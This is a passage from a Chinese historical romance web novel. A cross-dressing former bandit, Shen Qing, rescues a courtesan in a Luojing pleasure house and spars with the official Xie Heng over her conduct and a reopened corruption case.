沈青惊掉下巴,这所谓的“以琴会友”,哪是什么会友啊,不就是互相吹牛和吹嘘吗? 有些人勉强还弹得尚可,有些人……只怕连苏子珩都比不过。 她正听得兴致缺缺,忽然有人将琴递到她眼前。 “想必沈公子琴艺绝佳,才能得王公子青睐,不知我们是否有幸能听一曲?” 这人说得殷勤,无非是断定她不会弹琴,不配为这席间座上宾,想看个笑话罢了。 王容笑眯眯用折扇将琴挡开:“沈公子是我请来赏琴的。” 言外之意,就差将“你们没有资格听”直接说出口了。 在座的没人敢不给王容面子,那人只好悻悻把琴收了回去,沈青手更快,反手揽住琴身,乌木琴轻轻巧巧落在桌面上。 旁人没有注意到,王容却微不可察挑了挑眉,身手不错。 “我会弹一点,大家都弹了,我也没有扫兴的道理。” 既然有人维护她,她也给主人家卖个面子。 于是沈青坐直了身子,抬手拂上琴弦,虽然听得出她因久未拂琴而略显生疏,技巧也平庸,但也的确挑不出毛病。 一曲将尽,王容的眉头却越听越紧,一张俊脸生生被他拧成一个“囧”字。直到最后一个音落下,他终于忍不住问:“你跟谢珩什么关系?” 这“宫”弦上的颤音,全洛京只有谢珩有他独特的弹法,时人争相效仿,也只是东施效颦罢了。 她怎么能弹出一模一样的颤音? 沈青被他突然这么当头一问问懵了,脱口而出:“他是我……曾经的小妾?” 等话一出口,她才想起自己现在已经被招安了,还哪门子小妾啊。 于是反问:“怎么,你也认识他?” 王容觉得自己眼角都有些抽搐:“……他是我表兄。” “两人一问一答间,席上每个人张嘴瞪眼的表情……甚是精彩。 大意了!方才听他自称,只推测他不过一介平门寒族,因为长得灵秀得了王容青睐,可可可谁也想不到那刚被招安入京的悍匪沈青身上啊! 这等人物,王容可以想相交就相交,他们这种小世家可沾染不起!虽说现在陛下招安了他给他官做,谁知道以后会出什么幺蛾子呢,圣上随随便便一个连带问罪就够他们吃一壶了。 “王公子,我忽然想起今日先生布置的功课还没做完,就先告辞了!” “我也是,仙人说今晚也要托梦给我赠一本绝世琴谱,我得赶紧回去焚香入眠,诸位再会,再会!” 一转眼的功夫,席面上的人走得干干净净,苏子珩尴尬拨弄琴弦,也很会察言观色地悄悄退了出去。 只剩沈青和王容面面相觑。 王容脸色本来也比那些人好不到哪里去,但到底也算见过些世面,他缓缓煽动手中折扇,尽可能让自己看起来依旧风度翩翩。 他一开始是想循序渐进来着,诱着猎物一步一步走进陷阱,现在真是当空一记炸雷,炸得他耳畔一阵轰鸣。 不是,她竟然是沈青? 不对,传说中的悍匪沈青,是一个女子!!?? 以及,还是一个这样清绝灵秀的姑娘? 他深吸了口气,想缓解一下尴尬:“所以你的琴是谢珩教的?” 这 没什么好隐瞒的,沈青坦然点了点头。 谢珩会教人弹琴?这比白天碰鬼还难吧? 王容又嗑嗑巴巴问:“那……那你跟谢珩现在什么关系?” 沈青挠了挠头:“洛京中不早就传遍了吗?谢珩忍辱负重,委身莽山,用美人计获取我信任后,与手下里应外合活捉了我呗。” “你们……真做了一场夫妻?”这时候王容的语气中甚至带上了一丝颤抖,是因他此时撞破了一个刺激事实而产生的兴奋。 沈青没听懂他的言外之意,只耸了耸肩:“可惜谢珩并没有断袖之癖。” 王容看她的眼神更加意味深长:“那你呢?” 沈青仰头想了一下,笑得无比真诚:“说来你可能不信,其实我也不是断袖。” 王容轻摇折扇,不再说话。 他仔细回想了一下近来谢珩回京后,似乎确实没听说他专门跟沈青还有什么私交,原先他就觉得“委身做妾”这个传闻放在谢珩身上太过于惊世骇俗,现在嘛…… 他眼底的盎然笑意几乎快要掩盖不住。 然后两人就成了一对形影不离的酒肉好友。 沈青发现,在洛京,还是得跟王容这样的人混,那才叫如鱼得水,活色生香,之前自己一个人满大街瞎晃悠,玩的都是什么乱七八糟的啊。 他的身份也基本摸清楚了,洛京四大世家中的王家嫡系子弟,虽然不学无术,但家世太显赫了,朝廷给他封了一个跟沈青一样的虚职。他的姑母王氏是谢珩的母亲,他确实是谢珩嫡亲的表弟,不过也只比谢珩小上一岁而已。 有了这样合意的玩伴,沈青每天玩得不亦乐乎,早出晚归就算了,有时候甚至还要夜不归宿一把。 这天,两人在地下赌庄里赢了一大把,又回南风楼来喝酒听曲,依旧点了苏子珩作陪。 王容送了把折扇给她,她摸到扇骨冰凉沁骨,好在当年也打劫过不少贪官豪绅,她依稀能辨别出这扇骨是南夷进贡的象牙所制。 她缓缓摊开软滑的烟绸扇面,入目是一副青山翠竹图,左下角题了小字,是旁人请都请不到的名师亲描。她多少有些动容,几日相处,便能摸清她的喜好。 另一边扇面,龙飞凤舞写的是“风流倜傥”四个大字。 沈青总觉得“风流倜傥”这四个字不如王容的“酒色财气”,但也没关系,短短两天,那把折扇在她掌中已经流转自如了。 只是她始终穿不惯洛京男子常作的宽衣大袖打扮,还是一身青衣劲瘦窈窕,手中折扇一挥,自别有一种风流,走在街头竟也引得少女老妪们纷纷侧目。 两人趴在栏杆上,一边听着小曲,一边有一搭没一搭喝着小酒。 说起来,过久了莽山上那种苦行僧一般的生活,沈青可太喜欢这种纸醉金迷的生活了。 尤其是这南风楼里,世间怎么会有这般快活的地方呢?美人如云眼前过,乱花渐欲迷人眼。 不过耳畔忽然传来的争吵声,打破了温柔富贵的靡靡之音。 “告诉你,海棠姑娘昨晚可是趴在我枕头上亲口跟我说的,今天她也是我的人!” “滚!本公子昨天五百两花了下去,海棠姑娘这一个月都是我的了!” 沈青伸长脖子往下看,就看见通往楼上包房的楼梯间有两个华服公子迎面争吵,一个人的臂膀间紧紧钳了个姑娘似在示威,另一个也气势不输,直拽着那姑娘的玉藕一般的手臂要将人拽到自己怀里来。 可怜那姑娘,纤细窈窕的一身,被两个大男人拉来扯去,一张花颜被吓得失了血色。 原来是两个客人为了争一个姑娘吵起来了呢。 不过她不理解这为什么能吵起来:“奇怪,既然来这里消遣,那不是谁出的银子多,那姑娘就陪谁呢?” 王容不咸不淡地瞥了一眼楼下的纷争:“倒也不完全是银子的问题,总之两人撞上了,那不管这姑娘今晚陪了谁,另一个人岂不是很没面子?” 面子? 沈青似懂非懂,大概就是渝州各个山头打劫分赃一样的争夺?要是打劫的时候她输给了孟渊或者徐唐,那简直是让人丢脸到活不下去了。 又听王容在旁边不紧不慢道:“这两个人嘛,说起来背后世家也不大不小,这洛京城中这么多世家,再小的冲突,那也可能牵一发而动全身。谁赢了,明天传出去,就是张家赢了赵家,多没面子。” 沈青听着,这不比他们这群山匪更无聊吗?好歹他们在渝州争来打去,都是实打实的利益,这算什么? 她忍不住翻了个白眼:“你们世家子弟命可真好,每天的烦恼和欢乐都来源于斗鸡走狗,就这德行,每个人都还有官做呢。” 听她讽刺,王容带着一脸笑意倜傥,慢悠悠晃着手中折扇:“你再待久些就知道了,洛京城里的世家大族,家家户户恐怕就只剩门口两尊石狮子是干净的。我这种,整天斗鸡走狗游手好闲的,家里都要烧高香谢天谢地,谢我品格高洁。” “那谢珩那种算什么?”沈青不由得脱口问道。 王容也答得不假思索:“算极品。” “……” 沈青扭头继续看热闹,鸨母花枝招展地带了几个姑娘袅袅娜娜走了过来:“两位公子,你们来南风楼是来寻开心的,哪需要大动肝火呢?咱们楼里可意的姑娘多得是,今日我来做东,就当给二位赔个不是,让姑娘们好好陪公子喝酒。” 那两位公子本来还在气头上,但鸨母身后除了娇俏袅娜的姑娘,可还站着四五的壮汉。 于是都笑着将款款依附上来的姑娘搂入怀中,得了现成的便宜还要卖乖:“既然娟娘如此有心,我们也是盛情难却了。只是这海棠,未免也太扫兴了些,娟娘可要好生管教,别哪天扫了哪位大人物的兴致,给你们南风楼带来灭顶之灾啊。” 娟娘挂在眉眼间那一抹迎来送往的笑意冷淡下来,与两人对视须臾,终于又轻描淡写道:“既然海棠扫兴了,那就拖到后头院子里打死便是。” 海棠吓得连忙跪下来哭着求饶:“娟娘,海棠知错了,您饶海棠一命吧!” 几个壮汉已经上前拖住海棠,海棠也不知自己哪来那么大劲儿,挣开壮汉的钳制扑到一个公子脚下,紧紧抓着他的衣摆:“公子,您救救海棠,海棠这辈子做牛做马伺候您!求求公子大恩大德……” “滚滚滚,下贱东西!也配伺候本公子?” 方才还在为了海棠争得面红耳赤的两个人,这会儿都恨不得将人踢远一些,海棠很快又被身后的壮汉紧紧钳住往后拖,她一双葱白纤细的手徒劳抠住地砖,在地上被拖出一道长长血痕。 沈青杯中的酒再喝不下去,紧拧着眉头问王容:“这两位公子,身家背景应该比不上王家吧?” “废话,整个洛京,四大世家可是凌驾于所有世家之上,而这四大世家中,又是谢家和王家……” “王兄,咱俩关系是不是特别特别好?”沈青十分真诚地打断他。 王容被她问得莫名其妙,可是对上她这样一双乌漆晶亮的眸子,要说的话还没来得及过脑就说出口了:“那自然是特别好。” “所以我想打他们,你会替我撑腰吧?” “你这……!!!” 等王容反应过来她要做什么时,一道青影已经翻出横栏。 还没人看清发生了什么,那几个拽着海棠往后拖的壮汉纷纷被踹到在地起不来身,沈青轻灵的身影才盈盈落地。 她眉眼弯弯,冲着那两位公子露出一个分明干净和熙的笑容,却让人有些发瘆。 一人大着胆子放话:“你……想干什么?哪里来的滚回哪里去!” 沈青本来还想你来我往痛快吵几句,可是这人一开口她就没了吵架的兴致,还是在渝州的时候,孟渊之流骂起人来听得让人有回击欲望。 洛京城的世家公子们,方方面面,都太让人失望了! 她手上正好有一把趁手的折扇,等这人话音刚落下,她旋手将扇柄一扫,折扇飞出,在空中撑开,往那人脸上呼了一巴掌,将他打得趔趄倒地。 另一人惊呼:“你好大胆子,你知道你打的是谁吗?你……” 沈青懒得听他说完,正好折扇旋了一圈回到手中,她将折扇一合,抬手往后一扬,背后像是长了眼睛一般,玉骨扇柄轻轻脆脆敲上那人肩头,身后冲上来的那人身子缓缓沉了下去,耳畔清晰地听见自己骨头碎裂的声音。 先前被呼了一巴掌的公子忙捂着自己肿得半边高的面颊,连爬带滚往后面退:“你……你完了!你死定了!快把这南风楼给我围住,快喊人来,给我把这人绑了!” 门外真的有家仆鱼贯而入,大有要将南风楼围攻之势,楼上楼下顿时一片吵嚷尖叫,娟娘也默不作声往后退了退,摇头示意身边的壮汉先不要妄动。 沈青对这一切置若罔闻,她弯腰扶起倒在地上的海棠,这才看清她的容貌,果然娇柔美丽,眉眼垂泪,怯怯风情,如春日海棠沾湿雨露徐徐绽放。 “海棠是吗?以后我罩你了。”沈青扬了扬下巴,桀骜一笑。 海棠惊魂未定,愣愣地盯着眼前俊秀清逸的公子,好一会儿,又柔弱无骨附身下去:“多谢公子相救之恩,海棠衔草结环,也无以为报。” “呸!死到临头了,还想英雄救美!” 那两个公子被家仆们拉起来护在身后,忍着剧痛冲沈青喊话。 沈青看也没多看一眼身边举着刀棍团团将她围住的仆从们,唇畔始终挑着一抹不屑的笑意,慢悠悠抬眼望向楼上凭栏而立的王容。 那眼神,倒也不是在向他寻求帮助,仿佛在说,要是你不准备出面,我就自己动手解决了。 王容终于从惊异中缓缓回过神来。 虽然他早就知道了沈青的身份,但始终无法将她与“悍匪”二字联系在一起。直到今日亲眼见她连看了不看就一扇子敲碎人家一根骨头,才终于意识到,悍匪沈青,名动天下,果然名不虚传。 眼下两人家仆都出动,把家中势力牵扯进来,说不定还要惊动官府和其他世家。沈青刚刚入京,背后不知多少人盯着她,她身后又无根基势力,事情闹大了于她不利。 于是他轻咳一声清了清嗓子,正要开口缓和一下场面,一道清醇的声音更先传来。 “诸位要在天子脚下持械闹事吗?” 一听这声音,沈青顿觉不妙。 不是,就算持械闹事,这事儿也不归大理寺卿管吧? 她抬眼默默看着白衣玉冠的公子步步上前,他只身一人未带随从,但随着他走近,围在前头的那些家仆们立刻一一为他让出道来,直到他最后在沈青面前立住。 立春已经有一些时日了,洛京的天气一日比一日转暖,沈青却觉得旧伤好像要复发了,眼前人始终落在她身上的冷冷目光,让她背脊一阵一阵发凉。 仿佛她做错什么事了似的? 当然,在场的除了沈青这副硬着头皮又混不耐烦的模样,其他人则在惊诧万分中保持着震耳欲聋的沉默。 其中尤以王容最夸张,几乎眼珠子都要瞪出来,也似乎完全忘记自己好歹也是翩翩一公子这事了,整个人毫无形象地攀在柱子上朝下面张望。 这可是谢珩,洛京第一公子,向来素雅高洁,不染俗尘,尤其对这种烟花柳巷之地十分不屑,现在竟然屈尊亲自来了南风楼!? “我不是派人告诫过你,洛京不比渝州,要安分守己一些吗?” 谢珩寒凉目光只落在沈青身上,言语间字字淬冰。 沈青无比真诚:“我要是没有安分守己,你觉得这些人还有命吗?” 旁人见谢珩开口就拿沈青问责,这人回答还如此大逆不道,顿时有了底气,那脸被扇肿了的公子忙扯着肩胛骨被打断的公子走出来,冷汗涔涔地告状:“珩公子,今日幸好有您前来为我们做主,我们在南风楼虽说是寻欢作乐,但也未做有悖朝廷法度之事。可是不知从哪冒出来这么一个不知天高地厚的小子,公然动手打人,您可明鉴,我们手下这些家仆都是为了自保才拿了武器,绝非是要持械闹事。” “是啊,珩公子,此人武功高强,出手狠毒,在洛京必定是一大祸害!” 沈青听他们啰嗦了半天,也就听到“武功高强”那四个字像是人话,真是怀念在莽山的日子,这些人才没命说完这么多话呢。 不过好在谢珩的回应让她还算有点儿满意:“你们受伤需请郎中看伤的银钱,还有南风楼一应器具的损坏,都由谢家来承担了。” 一语既出,众人都张大嘴半天说不出一个字来,看着眼前这张雕霜斫玉的容颜,艰难反应过来,珩公子是在公然包庇这小子吗? 那脸肿公子不甘道:“珩公子,谢家可是洛京世家之首啊,您怎么能容许这种人任意欺凌我们世家子弟?” 谢珩看也没看他,冷峻的眼神始终落在沈青身上:“这种人?这是陛下前些天御口亲封的紫金光禄大夫沈青,正三品的官阶,诸位想要问罪,到御前告状去吧。” 沈……沈青? 很明显,沈青这两个字,要比什么紫金光禄大夫震撼得多。 围成一圈的人齐刷刷退开两步,不可置信地打量着这个传说中的悍匪头子,是这么单薄清瘦的一个混小子吗? 再联想到关于谢珩剿匪,委身做妾的那些传闻,众人的目光狐疑地在两人之间来回。 沈青本来还笑眯眯的满脸写着“正是在下”,可他们看个没完没了,这谢珩还是摆着一副冷若冰霜的俊脸今天非要找她茬的模样,她略微有些不自在起来,下意识抬眼往楼上王容的方向看了一眼。 谢珩也顺着她的目光遥遥望去,原本在冲沈青打着手势的王容连忙抛出一个“自求多福”的眼神,整个人马上躲到柱子后,只露出束发的半边玉冠。 果然,立刻听到谢珩道:“以后不要来烟花柳巷跟那些纨绔子弟厮混。” 这沈青可就不忍了:“陛下招我入京受封,不就是让我在洛京吃喝玩乐的吗?难道还想要我参与朝政励精图治?再说了,烟花柳巷怎么了,纨绔子弟怎么了,我家中夫人都不介意,刺史大人介意什么呢?” 谢珩清冷沉俊的面容上终于被沈青怼得露出一丝迷茫的愕然,不知是不是错觉,沈青似乎在他方才看过来的目光中捕捉到一瞬即逝的痛楚。 她忽然就一点也待不下去。 当然脚下也是很诚实的,将谢珩与一众看客抛在身后。 直到门外都看不到她的影子,只听到她的声音飒飒飘回:“多谢刺史大人给我垫银子!” 谢珩依旧冷着一张脸,旁人看不出什么波澜,目送他从容款步独自走出了南风楼。 白衣胜雪,容色泠然,在南风楼里走一趟,未曾沾染上半点烟花靡靡之气。 许久,王容终于从柱子后探出一个头,看着两人一前一后离开的方向,脸上有种难以名状的兴奋与沉痛。 谢珩,他心目中高洁雅正,不容亵渎的表哥,这次看起来要栽大跟头了。 40-50 第41章 第41章应该是……沈姑娘。 夜深,书房内还是一片灯火通明,静谧无声,连翻动书页的声音都没有。 谢珩坐在桌前,面前是一张铺开的公文,一旁的案牍更是堆积如山。 春意开始暖融起来,夜晚也变得潮湿,这一晚上总觉得书房里闷得慌,连带着纸墨和香炉中熏香的气味都让人腻烦。 他忽然想起小金顶上,白雪与松竹,于天地间最清冽的气息。 按捺住忽然升起的念头,他起身走到窗边,撑开小半扇窗。 窗外也有一些草木的清香,都是府上花匠们精心打理的名花珍草,顺着窗户往外看去,正好见到谢夫人王氏领着丫鬟从穿廊而过,进了院子。 谢夫人将丫鬟留在廊下 ,自己提了食盒进了书房。 “母亲。” 谢珩有些意外,侧身请她进来。 谢家这几十年来都是谢珩的祖父谢庄掌家,谢珩父亲早逝,他几乎是在祖父膝下被一手带大的。 五年前谢庄也去世了,谢珩年少,暂由两位叔父持家,两位叔父在朝中如今也是位极人臣,一个是当朝宰相,一个是大将军,一文一武,一人之下,万人之上。 没有了谢庄的坐镇,偌大的谢府,以及整个谢氏家族,多少有些明争暗斗,尤其随着谢珩一天天长大,府中更是暗潮汹涌。 为了避免一些不必要的纷争,谢珩与母亲便搬离了谢家主宅,在洛京别处又另寻了一处新邸安顿。 于是这新府上的主人只有他和谢夫人,倒也清净。 谢夫人与她儿子一样,是个气质清雅的人,两人都喜静,在府中也是各住东西两院,平日里母子间并不算热络。 她将食盒中的茶点端放出来,一眼就看到桌案上那张摊开的公文,只有开头寥寥批了几字,就再未动过。 对于此来的目的,她也不跟自己儿子多绕弯子:“你回洛京也有些时日了,外面都是关于你在渝州剿匪的一些传言,这样一直传下去,只怕会对你和谢家不利吧?” 谢珩淡然应道:“不过是流言纷纷,传几日就淡了,母亲深居府中,何必去听那些话平添烦忧呢?” “真是流言,自然传些时日就不了了之,可是我听着那些传言却有越传越烈之势,瑾之,南风楼那种地方,你以前是万不会踏足半步的。” 没想到今日南风楼一行,这么快就传到母亲这里了。 谢珩长睫微垂一瞬,又重新抬眸看向母亲:“沈青其人,野性难除,若非我今日及时赶到,他险些在南风楼闯下大祸。这人是我招安带回洛京的,眼下还得由我来约束,否则他犯下祸事,只怕有心人会由此从中作些文章,最后还是累及我和谢家。” 谢夫人被他这一番坦然之言说得迷茫了。 她向来知道自己儿子品性高洁雅正,洛京虽然断袖之风盛行,他为此鄙夷不止,绝不可能沾染丝毫。 关于渝州剿匪的一些传言,她也知道这是他的智取谋略,其中细节内幕也并不曾多过问。只是随着传言越盛,加上今日南风楼一事实在太出乎她的意料,她到底从儿子身上察觉到一丝以前从未有过的陌生。 “母亲,您向来连谢家的事情都不操心,这些外面的小事,更不用挂心了。”谢珩继续打消谢夫人的胡思乱想。 谢夫人轻叹一声:“是我多虑了。自你回来后,也只见你连日公干不停,可别把自己熬坏了。给你炖了玉竹川贝燕窝别忘了喝,夜里早些歇息吧。” 说完,她也不再多留,等谢珩将她送到门口的时候,她忽然又似想起了什么:“对了,你去年已经加冠,又在渝州立下大功,从此应该长留洛京了,你的婚事再不可耽搁。过些日子,谢家留园牡丹盛放的时候,我准备设宴邀请京中世家夫人小姐们来赏花,好好为你相看相看。” 这事说得不算突然,去年谢珩加冠的时候,谢夫人和谢家长辈便在着手为他议亲,男大当婚,他自然没有异议。只是后来他前去渝州剿匪,一走就是几个月,便耽搁了下来。 今日谢夫人也不过是再寻常不过地一提,谢珩在心底忽然蓦地一下生出一股前所未有的不情愿。 “母亲,京中还有诸事未定,等秋天湖蟹鲜美的时候,您再设宴邀客吧。” 谢夫人不由得意外地看向他,只见他目光炯炯坦然,并无异样。 * 南风楼的短暂一面,立刻在洛京中引起轩然大波。 传闻中的悍匪沈青,终于让洛京中人见识到庐山真面,而关于谢珩在渝州剿匪的那些传闻,也由此越传越真,那些原先只当成是传言的事,现在众人也纷纷开始信得个七七八八了。 两个当事人反倒没什么反应。 谢珩如常去衙署点卯公干,沈青照旧在府上睡得个日上三竿,正琢磨着今日该让王容带她去哪里花天酒地,府上却有客人扣门求见。 来客不是别人,是她昨日救下的海棠姑娘。 海棠昨日被吓得花容失色亦不失楚楚可怜之色,今日再盛装打扮一番,果然容姿风韵,让人心神摇曳。 引得沈府外路人津津有味围观,南风楼的海棠姑娘,难道是要报相救之恩以身相许?那必然是要逼得沈青花银子赎身吧? 沈青见海棠竟然找到家门口来,也有点莫名心虚,于是虽然将人放进来,但也请了岳瑛作陪,好歹有个“正室夫人”摆在这里,她有底气许多。 当三个人共处一室时,她还是感到了一丝奇怪的尴尬。 海棠前来,自然是向沈青感谢她救命的恩情,果然,感念之后,她才郑重拜求,希望来日能得到沈青的庇护。 沈青对这种美人态度向来温柔,她都有点儿于心不忍了:“我也只是路见不平,顺手拔刀相助罢了。不过……你要我赎身的话,我可拿不出这么多银子啊,再说,我夫人肯定也不同意的。” 海棠摇摇头:“海棠不敢这般妄自菲薄,只一面之缘就追上门来求人赎身,今日上门,是专程来提醒公子。” 说着,她缓缓抬眸看向沈青:“不对,海棠这一声公子喊错了,应该是……沈姑娘。” 沈青本来松松垮垮靠在椅上,闻言顿时敛了脸上笑意:“你准备用这个胁迫我?” 骤然被揭穿,她语气却平淡得可怕,清盈眉眼间,隐隐浮现几分杀戾。 海棠勉强顶着这份压迫,跪下来郑重行了个大礼:“海棠见姑娘是坦荡磊落之人,才敢贸然上门如实相告,绝非故意窥探姑娘秘密。洛京城里鱼龙混杂,想必姑娘进京也是步步为营,既然沈姑娘身份我能识破,自然也容易被旁人识破。姑娘昨日与我有救命之恩,海棠不敢不上门提醒。” 不用刻意去分辨,也能听出她声音里柔弱的颤音,沈青眉眼间的杀意渐渐褪去:“你有什么条件?” 海棠亦是坦然:“沈姑娘昨天已经护了我一次,又有珩公子亲自出面摆平了局面,想来京中会看眼色之人,应该都不会刻意来为难我了。海棠前来,只为报恩,若以后姑娘垂怜,愿意看顾一二,海棠必尽力效忠姑娘。” 提到谢珩的时候,海棠不动声色瞥了一眼沈青,果然见她唇角撇了撇。 哼,沈青心底正在腹诽,说得好像是谢珩来帮了忙似的,难道她没看见谢珩昨天那副兴师问罪的嘴脸吗? 见她面色微沉,海棠忙补充道:“关于身份的事情,姑娘不必担心,我自幼长在风尘之中,吃的就是皮囊饭。要是你信得过我,我只要上手给你修饰一番,保证别人再看不出破绽。” 既然话已经说到这个份上,沈青自是欣然答应,想看看她到底能修饰出什么效果。 只花了小半炷香的功夫,就听到岳瑛在耳边惊呼:“真是奇了,好像什么也没变,又好像什么都变了!” 沈青迫不及待睁眼,海棠已经举了一面铜镜在眼前,铜镜里的自己,五官眉眼分明还是同一张脸,可是看起来又有种说不出的不一样,就是……这真是一张男人脸了。 她盯着铜镜中的容颜,整张脸几乎贴上镜前,终于找到自己光洁下巴上,有一圈看起来像是胡须被修剃干净后留下的一层青茬。 顺着下巴往下,原本看起来有些纤秀的脖子上,微微凸出一块,应该是男人的喉结。 看似很细微的两处改变,在她脸上竟起了画龙点睛的作用,原本算是清俊的一张脸,这会儿 可以说是英俊了。 沈青懵懵懂懂盯着铜镜中的自己:“奇怪了,我从小到大扮了这么多年的男子,怎么在渝州没一个人看出来,到了洛京一下就被看出来了呢?” 不得不承认,海棠给她的这些修饰,的确是很重要但她却从来没有注意过的细节。 岳瑛倒是能明白几分:“正是因为你从小就扮了男子,莽山的长辈和旧部看着你在眼皮下长大,就算相貌秀气了些,也不会多想。而其他后来者嘛,你这悍匪的名声远扬,先入为主了,所以也没人想到这上面去。” 海棠也补充道:“洛京是国都,形形色色的人都有,这里的人眼光也更加毒辣一些,所以还是要谨慎。以后你出门,就照我这个法子来修饰一番,让旁人看不出破绽来。” 海棠这次上门,确实很出乎沈青的意料。一来她没想到自己多年来原来疏漏百出,二来便是也没想到随手救了一个风尘女子,竟然在她露出马脚前,先替她规避暴露的风险了。 这大概是广结善缘的妙处了。 不过在洛京其他人眼里,沈青在南风楼英雄救美,引得佳人亲自登门,那自是一段韵闻佳话。 但偏又有沈青和谢珩在渝州那一段惊世骇俗的传闻,以及众目之下,大家亲眼见谢珩踏足烟花柳巷之地,到底是为了训诫沈青,还是为维护沈青,便众说纷纭了。 总之悍匪沈青在洛京中的风流艳闻,一时大噪。 沈青自然每天还是那般流连于勾栏瓦市,放浪形骸,越发坐实了这狼藉的名声。 她整日流连忘返的时候,岳瑛被谢珩召去了大理寺。 这是在小金顶上,她没有拆穿谢珩换到的承诺,让谢珩为她重新审查父亲的贪污案。 两人在这件事情上没有太多交流,谢珩守诺,将她呈递上来的一些文书旧物草草翻阅了一遍,便抬手搁置一边。 岳瑛一颗心也跟着“咯噔”一声。 谢珩的声音凌凌传来:“这个案子,虽然涉及你父母亲人,可是如今你并未自立女户,而是嫁为人妇,以后本案一应事项的对接,该由你家夫君出面。” 岳瑛顿了一下,一时想不起大梁的律例中,到底有没有出嫁女子不能出面参与娘家案子对接的条例。 “大人,您的意思是,以后让沈青来对接我父亲的案子?” “是。” “好,我回去知会她。” “这段日子就让沈青待在府上,差使会随时传唤,以免找不到人耽误案件审查进程。” “是,大人。 岳瑛一一应下,但心里总有种说不上来的怪异。 “还有,”既然提到沈青,谢珩便多提醒一声:“沈青现在是朝廷命官,一举一动都有御史台的人盯着,你身为他的夫人,却不尽规劝之责,使其整日流连烟花柳巷之地,竟让烟花女子登上门来。” 忽如其来的这声警告,让岳瑛不由得默默打量一眼坐在高台主位上的人,依然是一身的清正疏离,沉缓的语气离,有他连自己都未察觉到的焦躁。 她脑海中重重疑云,豁然烟消云散。 她按捺住心中一点雀跃笑意,面上满是恭谨无奈:“可是大人也知道,我夫君的性子最不受约束,我实在是无能为力。” 谢珩手掌半合,修长手指蜷缩着,半扣在桌面上,须臾,他才淡声应道:“知道了。” 第42章 第42章我姓谢,单名一个珩字…… 短短两天,大理寺便有差使来传见沈青。 关于岳瑛带回去的那些提醒和警告,她也听了一耳朵,不过也仅仅只是听了一耳朵,这几日该怎么吃喝玩乐就继续怎么吃喝玩乐,大理寺要传召她,自然是不管在哪,也能找到人,那何必闷在家里呢? 既然谢珩是在办岳瑛家的案子,她肯定不能不来,差使在南风楼找到她的时候,她很是配合地将目光从苏子珩拨弄琴弦的手上移开,起身前往大理寺衙署。 大咧咧跨进衙署正厅,抬眼豁然所见,是高位上乌冠红衣整束官服的年轻公子。 即便是一身浓重正色,也压不住那一身清贵如仙。 倾城绝色又多添了威严肃雅。 她笑眯眯打着毫无温度的招呼:“刺史大人,别来无恙啊。” 谢珩清清正正地坐在主位上望她,眸底带着凉意:“不是说过,这几日不可离府,在家等候传召吗?” 沈青想起上次两人在南风楼的不欢而散,就知谢珩对于烟花柳巷的寻欢作乐有多看不上,可是那又怎么样呢?朝廷法度可没规定当朝官员不可去南风楼,御史台也不能拿她怎么样。 她还是眉眼弯弯,笑意不达眼底:“那刺史大人不还是找到我了吗?我这不还是来了吗?” 谢珩纠正她:“我早就不是渝州刺史。” “噢……”她恍然大悟:“那……卿正大人?” “我姓谢,单名一个珩字,表字瑾之。” 沈青霍然抬眼,主位上的人也望着她,声音低缓而清晰:“族辈中排行第九。” 她愣了愣,不由得嗤笑一声:“我记得我第一次见你,就问过你的名字。” 谢珩抿唇不语,她低声嘟囔一句:“谢九……可没谢十三好听。” 听到“谢十三”这几个字,谢珩那张平淡清疏的面容上,终于露出一丝不舍的隐忍,转瞬即逝。 “你喊我名字便是。” 一旁的录事颤手将书册翻了个页,确定谢珩说这话时的确平静无常,才忙将方才这对话记录下来。 沈青沉吟一瞬,“谢珩”这两个字挂在嘴上早就骂过千百遍了,这会儿面对面,她还真有点喊不出口,于是转而问他:“你今天喊我过来,总不至于是跟我做自我介绍的吧?” 没有听到她喊自己名字,谢珩垂下眼眸,不疾不徐翻动手上卷宗:“岳闻渊的旧案,我可以给你们一句定论,其中必有冤情。” “真的?” 沈青略微松了口气,她不了解岳闻渊,本来担心这冤情会不会是岳瑛多年来一厢情愿的执念,既然谢珩一锤定音说有冤情,那就确实是有冤情了。 “不过时隔年岁太久,又是旧案重审,背后牵扯太复杂,我还需要一些时日。但我既然接手了此案,就会让有冤情之人,终有沉冤昭雪的一天。” 有了这一诺,沈青彻底放下心来,岳瑛还有守得云开见月明的那一天。于是她一改平日里散漫态度,刚准备向谢珩道一声谢,就听到他说出让人极度不想接受的话:“既然你是本案的对接人,自即日起,除了公干交游,日常出行,其他时候不可随意离府,以免贻误案情,直至结案。” “那可不行!” 沈青脱口而出,谁知道这案子是三五个月结案还是三五年结案啊! “我怎么没听过有这样的规定?” “我规定的。”谢珩平静地将视线从卷宗移到她身上。 “你……” 沈青对上他的清淡目光,顿时感到有种无所适从的坚定压迫,一肚子话骂不出来,这算徇私枉法吗? 可是让对接人配合查案好像也没错?如果她不遵循似乎也没有触犯那条律法,只是这谢珩会不会趁机拖延,然后不好好查案? 自来洛京,她总觉得谢珩对她态度不算友善,因为摸不清他的态度,她也不能拿岳瑛家的案子涉险。 罢了,反正也不干涉她日常出行交游,无非就是少去几趟南风楼。 为了岳瑛,她先忍了。 她咬咬牙,一派大义凛然:“行,我答应你。” 目的达到,谢珩心中并无想象中的欣慰,他生性散漫不羁,却愿为岳瑛收敛约束自己。 可是岳瑛在小金顶上,不见得对他那么死心塌地。 念及此,他一丝恶念没有收住:“据我所知,岳瑛以前在洛京,是有婚约在身的。” 没想到他翻查得这么迅速详细,沈青立刻警觉:“以前是以前,但现在,她是我的夫人。” 谢珩眸底微黯一瞬,原来他都 知道,还如此维护。 他便好言提醒:“那你多看顾后院。” ……莫名其妙。 * 春日的洛京,满城楼台大部分时候总是笼罩在雨水之中,沈青不紧不慢撑起一把青油伞,从大理寺走出,仰头深深吸一口衙署外自由轻快的空气。 雨势渐渐大了起来,街边房屋弯弯的檐角,雨珠如线落入一个个小洼中。街道上车马行人都纷纷加快了回家的脚步。 一辆马车哒哒踏在青石板铺就的路面上,忽然一只车轱辘一歪,正在行进的马车猛地向一边重重倾斜过去。 “吁——” 车夫及时勒紧缰绳,堪堪控制住险些倾覆的马车,马车却也斜倒了半边停在路上再动弹不得。 “夫人,您没事吧?” 一只素手掀开车帘,接着岳瑛略有些艰难地从倾斜地马车中探出身子,因着刚才的震动,原本光洁的额头上被磕出一片红痕,她担忧地看了一眼马车下的轱辘:“这马车还能走吗?” 车夫抹了把脸上的雨水:“恐怕是不行了,夫人,您先去那边檐下躲雨,我回去换一辆马车再过来接您。” “好。” 